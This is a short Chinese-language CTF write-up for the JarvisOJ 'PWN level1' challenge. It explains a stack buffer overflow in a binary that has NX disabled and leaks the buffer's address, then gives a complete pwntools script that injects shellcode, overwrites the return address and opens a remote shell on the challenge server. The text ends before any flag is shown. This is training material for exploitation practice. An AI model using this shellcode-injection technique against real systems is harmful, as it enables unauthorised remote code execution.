JarvisOJ PWN level1 wp

level1

checksec看一下保护，几乎没什么保护措施：

先拖进IDA里面看一下（f5大法好），发现栈溢出点：

f12没发现"/bin/sh"，看一下printf函数会把buf的地址输出出来，我们将它截取，并保存在buf_addr中。由于NX是关闭的状态，也就是说我们把shellcode写进buf里面，函数返回时跳转回buf的位置，就可以执行shellcode了。因此我们把shellcode的代码从buf的起始地址开始填充，然后buf中剩下的地址由a填充，因为我们最后需要调用shellcode代码，因此再加上buf_addr(记得将之字符化)

上脚本：

from pwn import *

p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
text = p.recvline()[14:-2]
print text[14:-2]

buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())

payload = shellcode + 'a' * (0x88+4-len(shellcode)) + p32(buf_addr)
p.send(payload)
p.interactive()

得到flag：